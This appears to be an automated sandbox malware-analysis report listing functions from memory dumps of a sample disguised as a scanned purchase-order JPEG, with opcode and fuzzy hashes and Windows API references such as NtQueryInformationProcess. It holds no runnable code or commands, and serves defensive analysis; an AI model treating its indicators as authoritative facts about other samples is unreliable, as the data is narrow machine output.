Function 0122F640 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c382893d8f67e2535037873042ef968859db01b74bf1a79dc819f29b035aad84
Instruction ID: 8adcc1df30f69afa8c5ebafeb4182f41eb9dc81bd047e4f57619c254261a38dc
Opcode Fuzzy Hash: c382893d8f67e2535037873042ef968859db01b74bf1a79dc819f29b035aad84
Instruction Fuzzy Hash: 5E215BB0D0020A9FDB05EFB9D58079EBFB2FB84704F1095A9D1589B369EB705A498F81

Function 01226300 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f896bcb6a637eab19a8cb87fa229418f0208b3e9b84959277288d0331a067f1e
Instruction ID: bd4b81237a80ba1ccd3c8d027847a43ca3cab4cc05b0eca6face4b26b40d0965
Opcode Fuzzy Hash: f896bcb6a637eab19a8cb87fa229418f0208b3e9b84959277288d0331a067f1e
Instruction Fuzzy Hash: 3D11E536711522AFDB155B2AD454A3EB7A6FFC9A553080568EA06CF360CF31DC028790

Function 012227F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094fa16c93e2045723a95e1de471b441f837b75b9d1e50691ce2953cbb966115
Instruction ID: 15a2bea6fc488ed130c5e91a7cf0714dd72511ac741135e4bfa7a05a64240e9c
Opcode Fuzzy Hash: 094fa16c93e2045723a95e1de471b441f837b75b9d1e50691ce2953cbb966115
Instruction Fuzzy Hash: C221C274D0520ACFCB41EFA9D9486EEBBF4FF09310F10566AD809B6210EB355A95CBA1

Function 0122F650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0cf968e845ce56c6c16ed8ab3382137703a7ad22715b57e21907e1399e275f0
Instruction ID: c91ba170c477e003a635de9f2b8d9c18988860909297fde6ed1d1574cbc0a475
Opcode Fuzzy Hash: b0cf968e845ce56c6c16ed8ab3382137703a7ad22715b57e21907e1399e275f0
Instruction Fuzzy Hash: FF110AB0D0010ADFDB44EFB9D68079EBBF2FB84704F109569D1589B369EB705A458F81

Function 0111D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4130896351.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_111d000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 872dba23a885069567c4dd5ecf8f82546de764eaecc6624bed0a17c1775b5960
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 4E11DD75504284CFDB16CF68D9C8B16FFA2FB84314F24C6AAD8494B256C33AD44ACF62

Function 01225E98 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3e95cd12bc5c985c554e8985be8ce1d649c8a3a0d94acfde732909152c6c643
Instruction ID: a15e40ab268134ced5f3173fc0a7a5903a39868ab8907ff8b268d0ee06af5ed8
Opcode Fuzzy Hash: b3e95cd12bc5c985c554e8985be8ce1d649c8a3a0d94acfde732909152c6c643
Instruction Fuzzy Hash: B501D872B101196FDF159EA898107FF3FA7EBD8250F19C029F515D7284DE758D118B90

Function 0122ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce54b9bb00cfee0607772f93bec6003c014d5551a6e13bf31b9d1c59ff66fe1a
Instruction ID: ace547381cbe967786c9ce01578fe3b1d8fe947348e459a16143e9b11b86b1b2
Opcode Fuzzy Hash: ce54b9bb00cfee0607772f93bec6003c014d5551a6e13bf31b9d1c59ff66fe1a
Instruction Fuzzy Hash: 2DF0F6313102215B9B165A2E9454A2EBADEEFC8A553054079EB09CBB61EE61CC03C780

Function 0122E8E8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7d93ecf71a4d0a0718c6e229992923eb46136f4e848bd4b9e23f3db265a81f1
Instruction ID: 231cfd017b1dc504f540228a4921be998bd1b586cfe63f9199f5294ffddf3cd9
Opcode Fuzzy Hash: d7d93ecf71a4d0a0718c6e229992923eb46136f4e848bd4b9e23f3db265a81f1
Instruction Fuzzy Hash: A1014CB6D0020A9FDB40DFA8E840AEEBBB1FB48305F408426D924A3354D7345A56DF91

Function 012228AA Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d71e64b0c9b8291c99779a1cbfbb2589971e390d6b2cf9b768bf4f9ebcf84451
Instruction ID: 1428b39ce8d8940ae79ea65acce2f6f9a703e40898f714df10a79bb7a8275342
Opcode Fuzzy Hash: d71e64b0c9b8291c99779a1cbfbb2589971e390d6b2cf9b768bf4f9ebcf84451
Instruction Fuzzy Hash: 40E0C231E2012B96CB009FB0E8444EEF734EFD5365B414626D46436000EF30265AC6A2

Function 012228B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40302450c079fdbe49d7aa17274c92d3877c36d88314aa6dacbc659bfc2da007
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: 40302450c079fdbe49d7aa17274c92d3877c36d88314aa6dacbc659bfc2da007
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 01228EF8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: fcb8a843448708659d8bebbbdef9633d419110d7e64250a10c084c35321d8f7a
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 8DC0123321C1383BA225104E7C41EABAB8DC2C12B4AA10137FB1C93241AC829C8001A8

Function 01226739 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e905c21d1e5c1b6faacbb3790f4e672a43b713373dff75bac5d933ffbccb5ff4
Instruction ID: a0702a367468fd456fc213708f58c3c1bc590bb5fe16eaeee6e23135a62b6996
Opcode Fuzzy Hash: e905c21d1e5c1b6faacbb3790f4e672a43b713373dff75bac5d933ffbccb5ff4
Instruction Fuzzy Hash: 12D02B33C483414FCB06A3B0DC453987F31EB40218B05D630D0010929FDE74C84A8B00

Function 0122D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3867bbbd4fafaecd1d9f7a01365d57275f00531196113b15b81a8701b3944d96
Instruction ID: 6fe3c2ba3c55d29d2ab872fae2662cb567a40d2e9747f0174b0e6eb6639ab98d
Opcode Fuzzy Hash: 3867bbbd4fafaecd1d9f7a01365d57275f00531196113b15b81a8701b3944d96
Instruction Fuzzy Hash: 4BD0E234E4000CCFCF20DFA8E4844DCBB70EB88321B10542AD825A7210D63054608F00

Function 0122AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a322065f1989ab37216c9b671b4cd38db4a1303a1de51019cc081db53329b5ae
Instruction ID: de6fc5870e7a2729dfba59e4de045720fc9647e3547e896ac755829eed931d74
Opcode Fuzzy Hash: a322065f1989ab37216c9b671b4cd38db4a1303a1de51019cc081db53329b5ae
Instruction Fuzzy Hash: 51D0173AB40008DFCF008F88E8408DDF7B6FB98220B048116E911A3260C6319921CB50

Function 01226748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d6a8c122b17f6e9860733d239b2a311f8ff2b7e8384d477e8ffd708c70e8636
Instruction ID: ef5176c3bbd42dc3885976d4793f3bfafaafb3f1d8dbb4c07949f84e8cfbcdb8
Opcode Fuzzy Hash: 9d6a8c122b17f6e9860733d239b2a311f8ff2b7e8384d477e8ffd708c70e8636
Instruction Fuzzy Hash: FAC08031C843094FC905F7B5FD49759776EFAC060C740863090050A75DDFB4DC994790

Non-executed Functions

Function 01226920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 01226936
\;^q, xrefs: 0122692C
\;^q, xrefs: 01226952
\;^q, xrefs: 0122695E

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: b4b717de0cb85246b02628affec97f3f1621879a4806efe071c59f805d240191
Instruction ID: de05b0f41446a36651393edf69391eb6a16ea42917a93c1dd7c2c786ada9a5e6
Opcode Fuzzy Hash: b4b717de0cb85246b02628affec97f3f1621879a4806efe071c59f805d240191
Instruction Fuzzy Hash: A501D432760126EFCB248E2CC544AAD37EBAF88A607254469EA46CF3B5DE71DC418740

Analysis Process: HJnkiZjAPsec.exePID: 7260, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.5%
Total number of Nodes:	195
Total number of Limit Nodes:	7

Executed Functions

Function 085AB220 Relevance: 1.6, APIs: 1, Instructions: 59nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?), ref: 085AB2A7

Memory Dump Source

Source File: 00000008.00000002.1786608297.00000000085A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_85a0000_HJnkiZjAPsec.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 5477318893e47d392e47b47a861c0da5c8205527d9a392debc101ec2353c3ce1
Instruction ID: 82626c74b2c8729a3703096e3096204a97a61e29c156d57a2a0df173c0462463
Opcode Fuzzy Hash: 5477318893e47d392e47b47a861c0da5c8205527d9a392debc101ec2353c3ce1
Instruction Fuzzy Hash: EA21D3B5901249DFCB10CF9AD884ADEFFF4BF48320F10852AE958A7211C375A554CFA5

Function 085A7244 Relevance: 1.6, APIs: 1, Instructions: 58nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?), ref: 085AB2A7

Memory Dump Source

Source File: 00000008.00000002.1786608297.00000000085A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_85a0000_HJnkiZjAPsec.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: f510f5f694d511752bfccbed296a367433de69b8fc94a5382b53a29110e4b270
Instruction ID: a82f473b258bae55b3604aaa998c2c1f1cb19d649bf81da0d5f670807c24ef4e
Opcode Fuzzy Hash: f510f5f694d511752bfccbed296a367433de69b8fc94a5382b53a29110e4b270
Instruction Fuzzy Hash: C321EDB5900249DFCB10CF9AD884ADEBBF4FF48320F10842AE918A7250D374A954CFA5

Function 052126A8 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05214CA2

Memory Dump Source

Source File: 00000008.00000002.1784878008.0000000005210000.00000040.00000800.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5210000_HJnkiZjAPsec.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b8748de70466ee683c35b471f47c830630b09808626cfd53d592376d18024c62
Instruction ID: 2150f99eb8828c9e09a403f11c6029c01b242edde4a2d59f5aa5446277630eaa
Opcode Fuzzy Hash: b8748de70466ee683c35b471f47c830630b09808626cfd53d592376d18024c62
Instruction Fuzzy Hash: B451CFB1D103099FDF14DF99C984ADEBBF5BF48310F24812AE819AB210D775A885CF94

Function 05214B84 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05214CA2

Memory Dump Source

Source File: 00000008.00000002.1784878008.0000000005210000.00000040.00000800.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5210000_HJnkiZjAPsec.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f2e5850dc85416a3382acb0da1292d73a02af8e43d77db3ccacecf1835eb7120
Instruction ID: 92263c05c9d82462c7b026686a2c4754eb9fe4fc641fc703cd01061d307a463b
Opcode Fuzzy Hash: f2e5850dc85416a3382acb0da1292d73a02af8e43d77db3ccacecf1835eb7120
Instruction Fuzzy Hash: D851CFB1D103099FDF14CFA9C884ADEBBF5BF48314F24812AE819AB210D771A885CF95

Function 052127FC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05217221

Memory Dump Source

Source File: 00000008.00000002.1784878008.0000000005210000.00000040.00000800.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5210000_HJnkiZjAPsec.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: fe688fb5067d3431e2fc83a423129b001629b06a865f131d80809889b596222f
Instruction ID: a7f09a3932d9e22445e3993e1408a04f6f65cd1b2655e1258ee8c6becf62b8bc
Opcode Fuzzy Hash: fe688fb5067d3431e2fc83a423129b001629b06a865f131d80809889b596222f
Instruction Fuzzy Hash: 46412CB4910209CFCB14CF99C488AABBBF5FF98314F24C459E919AB321D774A841CFA4

Function 01296914 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01299071

Memory Dump Source

Source File: 00000008.00000002.1778431812.0000000001290000.00000040.00000800.00020000.00000000.sdmp, Offset: 01290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1290000_HJnkiZjAPsec.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c9f7a892ca4e2db36c2fa46b2b674413352b935720820e8d0522b83faf332f7f
Instruction ID: 5df9f857ed062fe7aa3dee4c2766919c37bd438eb04d599a6c67e5c581e413f7
Opcode Fuzzy Hash: c9f7a892ca4e2db36c2fa46b2b674413352b935720820e8d0522b83faf332f7f
Instruction Fuzzy Hash: AC41FFB0C00619CBDF24DFA9C884BDEBBF5BF49314F20806AD518AB255DBB56985CF90

Function 085AB8E4 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNELBASE(00000000), ref: 085AC6A8

Memory Dump Source

Source File: 00000008.00000002.1786608297.00000000085A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_85a0000_HJnkiZjAPsec.jbxd

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 91058a4f2ae62afaa0f828b7c9295efeba91fd193440fb60f5f017bd85c50d26
Instruction ID: 6da402b4a28bf521c468f730d8aa70029c88de1083ac8a42a11362ecc47154c2
Opcode Fuzzy Hash: 91058a4f2ae62afaa0f828b7c9295efeba91fd193440fb60f5f017bd85c50d26
Instruction Fuzzy Hash: 5B219CB18056998FCB01DFADC8946DEBFF4FF49320F14805AD454AB251D334A944CFA9

Function 05210594 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,052109D6,?,?,?,?,?), ref: 05210A97

Memory Dump Source

Source File: 00000008.00000002.1784878008.0000000005210000.00000040.00000800.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5210000_HJnkiZjAPsec.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 248c239b9569650e662fed5d8b7b0e9bfa2ba0ab526332f1e7593c5636dce7e3
Instruction ID: 69720c48ff536a5bcbab7b7a8d811f2431b005e7d40bd48be3a39f4780420cff
Opcode Fuzzy Hash: 248c239b9569650e662fed5d8b7b0e9bfa2ba0ab526332f1e7593c5636dce7e3
Instruction Fuzzy Hash: B22103B5901209EFDB10CF9AD984ADEBBF4EB48310F10841AE958A3350D378A950CFA4

Function 05210A09 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,052109D6,?,?,?,?,?), ref: 05210A97

Memory Dump Source

Source File: 00000008.00000002.1784878008.0000000005210000.00000040.00000800.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5210000_HJnkiZjAPsec.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d1ce78a290688a858e427f1086df4aefccc8502b1b627bafbd976a0e246a337e
Instruction ID: 28c05b14670cc08175131014f8c8189f9ae7b5cb73842d9e5cb893f84f891a5c
Opcode Fuzzy Hash: d1ce78a290688a858e427f1086df4aefccc8502b1b627bafbd976a0e246a337e
Instruction Fuzzy Hash: 9721E3B5901219EFDB10CFAAD984ADEBBF4FB48320F14841AE958A3250D374A944CFA5

Function 085AB914 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNELBASE(00000000), ref: 085AC6A8

Memory Dump Source

Source File: 00000008.00000002.1786608297.00000000085A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_85a0000_HJnkiZjAPsec.jbxd

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 76df3b1578658649db25fcf2e43fed193e5bc243b7a7cb3a75fee180a5180d2b
Instruction ID: a931aee04d5d7515c25d49c85d6e7f0f9dc50c67f47297a81466ef86d746d374
Opcode Fuzzy Hash: 76df3b1578658649db25fcf2e43fed193e5bc243b7a7cb3a75fee180a5180d2b
Instruction Fuzzy Hash: 961112B5C006599BCB14CF9AD884A9EFBF8FB48320F10812AE819B7340D774A944CFA5

Function 085AC631 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNELBASE(00000000), ref: 085AC6A8

Memory Dump Source

Source File: 00000008.00000002.1786608297.00000000085A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_85a0000_HJnkiZjAPsec.jbxd

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 0a7ae7bacf3442b7384bb34980c4da4b575759dc9e2b7f8f814c9f38ec11e446
Instruction ID: 2525e93f4e64ff66a286c93b0f35f2cf5b8f80158a697c370eddd1c928c7e29e
Opcode Fuzzy Hash: 0a7ae7bacf3442b7384bb34980c4da4b575759dc9e2b7f8f814c9f38ec11e446
Instruction Fuzzy Hash: 421126B5C006599FCB14CF9AD484ADEFBF4FB48320F20811AD819B7250C774A944CFA5

Function 0129E218 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0129E27E

Memory Dump Source

Source File: 00000008.00000002.1778431812.0000000001290000.00000040.00000800.00020000.00000000.sdmp, Offset: 01290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1290000_HJnkiZjAPsec.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 302ef3981da3d034f6f71de0a3f2fab3bd4e6cc8d60fd6000eb0cf99c1fe96ab
Instruction ID: 83a386cb1c0726fe8b0347564e6a7b9bfee16273b0e2433ffcc53096144905a4
Opcode Fuzzy Hash: 302ef3981da3d034f6f71de0a3f2fab3bd4e6cc8d60fd6000eb0cf99c1fe96ab
Instruction Fuzzy Hash: C11110B5C00349CFDB14CF9AC844ADEFBF4EB88324F10846AD928A7210C379A545CFA1

Function 05228CAC Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

(bq, xrefs: 0522A3A2

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 942a692e5fae3e381d0db5c57751fe588689598b18bfb4e228b70a7f1cb1247c
Instruction ID: 7b8c1afff1d560f68a11f3664c5f4b07f8fd2f4db36b3e2351412a0deb99aa5d
Opcode Fuzzy Hash: 942a692e5fae3e381d0db5c57751fe588689598b18bfb4e228b70a7f1cb1247c
Instruction Fuzzy Hash: 95910275A15219EFCB18DFA9D8486AEBFF6FF88300F14846AE446A7790DB349841CF50

Function 0522F650 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

@, xrefs: 0522F827

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 34d8f0cea1ed563dc0efe8a70a5cca1d77d3ee73022fb61a0baac3263a85acee
Instruction ID: 0d930ac967bbaee67039c1b250d350e307ec80fc071c1bf34f835aff6eb2186b
Opcode Fuzzy Hash: 34d8f0cea1ed563dc0efe8a70a5cca1d77d3ee73022fb61a0baac3263a85acee
Instruction Fuzzy Hash: CCD14D3591021ACFCF05CFA8C5949EDF7B1FF48314B258659D8067B259EB70AA8ACF80

Function 0522F640 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

, xrefs: 0522F7F3

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 7ba618357d32f2b039699c49d01ae0b7eb3e72161ffb2e49cd654f5fc411f023
Instruction ID: 73fd6c3c601eeab314436a84df7b9210094234ced2428d970cc73bbed4cff512
Opcode Fuzzy Hash: 7ba618357d32f2b039699c49d01ae0b7eb3e72161ffb2e49cd654f5fc411f023
Instruction Fuzzy Hash: A6A1FE3591021ACFCF05DFA8C9948DDB7B5FF58314B218655D8066B259EB70B98ACF80

Function 05228C74 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

Hbq, xrefs: 0522AF2E

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: eb349f32561da2a07a1180567f1fcb735f9fb842193d0ab9b756593bc0cbec85
Instruction ID: 28abedca7c358eb036f2f5473413462530d835239fcd28ef833baf0c4c78af82
Opcode Fuzzy Hash: eb349f32561da2a07a1180567f1fcb735f9fb842193d0ab9b756593bc0cbec85
Instruction Fuzzy Hash: CE4170B5A00318DFCB14DFA9C484AAEBBF5FF88310F108429E449E7750DB75A945CBA1

Function 085AC6E0 Relevance: 1.3, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000), ref: 085AC747

Memory Dump Source

Source File: 00000008.00000002.1786608297.00000000085A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_85a0000_HJnkiZjAPsec.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 4e4e9bec638be6766fc67c0b9a6559876d6a450ae35135eb9b01db350ac1a0d6
Instruction ID: 3a48c0f51d74e51b63e97a8aa948b63076ef6cc932d81554f50376b9a7f0d6dd
Opcode Fuzzy Hash: 4e4e9bec638be6766fc67c0b9a6559876d6a450ae35135eb9b01db350ac1a0d6
Instruction Fuzzy Hash: 8C115BB5800249CFCB10CF9AD4857DEBBF4EF49320F20846AD554A7251C378A944CFA5

Function 085AB920 Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000), ref: 085AC747

Memory Dump Source

Source File: 00000008.00000002.1786608297.00000000085A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085A0000, based on PE: false

